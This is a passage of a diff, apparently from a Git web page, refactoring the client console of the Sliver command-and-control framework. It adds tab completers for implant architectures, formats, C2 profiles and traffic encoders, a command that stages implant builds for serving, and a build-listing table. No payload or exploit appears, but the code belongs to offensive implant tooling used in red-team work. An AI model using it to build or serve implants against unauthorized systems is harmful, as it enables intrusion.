regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||
ImplantName: implantName,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return data, err
|
||||
}
|
||||
data = regenerate.GetFile().GetData()
|
||||
data = generated.GetFile().GetData()
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
return data, err
|
||||
}
|
||||
|
||||
// FormatCompleter completes builds' architectures.
|
||||
func ArchCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("No compiler info: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
|
||||
nextTarget:
|
||||
for _, target := range compiler.Targets {
|
||||
for _, res := range results {
|
||||
if res == target.GOARCH {
|
||||
continue nextTarget
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOARCH)
|
||||
}
|
||||
|
||||
nextUnsupported:
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
for _, res := range results {
|
||||
if res == target.GOARCH {
|
||||
continue nextUnsupported
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOARCH)
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("architectures")
|
||||
})
|
||||
}
|
||||
|
||||
// FormatCompleter completes build operating systems
|
||||
func OSCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("No compiler info: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
|
||||
nextTarget:
|
||||
for _, target := range compiler.Targets {
|
||||
for _, res := range results {
|
||||
if res == target.GOOS {
|
||||
continue nextTarget
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOOS)
|
||||
}
|
||||
|
||||
nextUnsupported:
|
||||
for _, target := range compiler.UnsupportedTargets {
|
||||
for _, res := range results {
|
||||
if res == target.GOOS {
|
||||
continue nextUnsupported
|
||||
}
|
||||
}
|
||||
results = append(results, target.GOOS)
|
||||
}
|
||||
|
||||
return carapace.ActionValues(results...).Tag("operating systems")
|
||||
})
|
||||
}
|
||||
|
||||
// FormatCompleter completes build formats
|
||||
func FormatCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
return carapace.ActionValues([]string{
|
||||
"exe", "shared", "service", "shellcode",
|
||||
}...).Tag("implant format")
|
||||
})
|
||||
}
|
||||
|
||||
// HTTPC2Completer - Completes the HTTP C2 PROFILES
|
||||
func HTTPC2Completer(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
}
|
||||
|
||||
var results []string
|
||||
for _, profile := range httpC2Profiles.Configs {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("HTTP C2 Profiles")
|
||||
})
|
||||
}
|
||||
|
||||
// TrafficEncoderCompleter - Completes the names of traffic encoders
|
||||
func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch traffic encoders: %s", err.Error())
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
for _, encoder := range trafficEncoders.Encoders {
|
||||
results = append(results, encoder.Wasm.Name)
|
||||
skipTests := ""
|
||||
if encoder.SkipTests {
|
||||
skipTests = "[skip-tests]"
|
||||
}
|
||||
desc := fmt.Sprintf("(Wasm: %s) %s", encoder.Wasm.Name, skipTests)
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("traffic encoders")
|
||||
})
|
||||
}
|
||||
@@ -5,14 +5,16 @@ import (
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// ImplantsStageCmd - Serve a previously generated build
|
||||
func ImplantsStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Unable to load implant builds '%s'\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
options := []string{}
|
||||
for name, _ := range builds.Configs {
|
||||
options = append(options, name)
|
||||
}
|
||||
|
||||
prompt := &survey.MultiSelect{
|
||||
Message: "Select sessions and beacons to expose:",
|
||||
Options: options,
|
||||
}
|
||||
selected := []string{}
|
||||
survey.AskOne(prompt, &selected)
|
||||
|
||||
_, err = con.Rpc.StageImplantBuild(context.Background(), &clientpb.ImplantStageReq{Build: selected})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to serve implant %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -21,15 +21,16 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
@@ -43,7 +44,7 @@ type ImplantBuildFilter struct {
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -52,14 +53,14 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
implantBuildFilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
|
||||
PrintImplantBuilds(builds, implantBuildFilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
func PrintImplantBuilds(builds *clientpb.ImplantBuilds, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -70,12 +71,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"C2 Config",
|
||||
"ID",
|
||||
"Stage",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
for sliverName, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
@@ -96,9 +100,15 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
implantType := ""
|
||||
if builds.ResourceIDs[sliverName].Type != "" {
|
||||
implantType = builds.ResourceIDs[sliverName].Type
|
||||
}
|
||||
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
implantType += "beacon"
|
||||
} else {
|
||||
implantType += "session"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
@@ -115,45 +125,84 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf(config.HTTPC2ConfigName),
|
||||
fmt.Sprintf("%v", builds.ResourceIDs[sliverName].Value),
|
||||
fmt.Sprintf("%v", builds.Staged[sliverName]),
|
||||
})
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
con.Println()
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
comps := func(ctx carapace.Context) carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to get implant builds: %s", err.Error())
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
filters := &ImplantBuildFilter{}
|
||||
|
||||
results := []string{}
|
||||
sessions := []string{}
|
||||
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
osArch := fmt.Sprintf("[%s/%s]", config.GOOS, config.GOARCH)
|
||||
buildFormat := config.Format.String()
|
||||
|
||||
profileType := ""
|
||||
if config.IsBeacon {
|
||||
profileType = "(B)"
|
||||
} else {
|
||||
profileType = "(S)"
|
||||
}
|
||||
|
||||
var domains []string
|
||||
for _, c2 := range config.C2 {
|
||||
domains = append(domains, c2.GetURL())
|
||||
}
|
||||
|
||||
desc := fmt.Sprintf("%s %s %s %s", profileType, osArch, buildFormat, strings.Join(domains, ","))
|
||||
|
||||
if config.IsBeacon {
|
||||
results = append(results, name)
|
||||
results = append(results, desc)
|
||||
} else {
|
||||
sessions = append(sessions, name)
|
||||
sessions = append(sessions, desc)
|
||||
}
|
||||
}
|
||||
|
||||
return action.Invoke(ctx).Merge(
|
||||
carapace.ActionValuesDescribed(sessions...).Tag("session builds").Invoke(ctx),
|
||||
carapace.ActionValuesDescribed(results...).Tag("beacon builds").Invoke(ctx),
|
||||
).ToA()
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
|
||||
return carapace.ActionCallback(comps)
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
|
||||
Loaded 100 of 4266 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user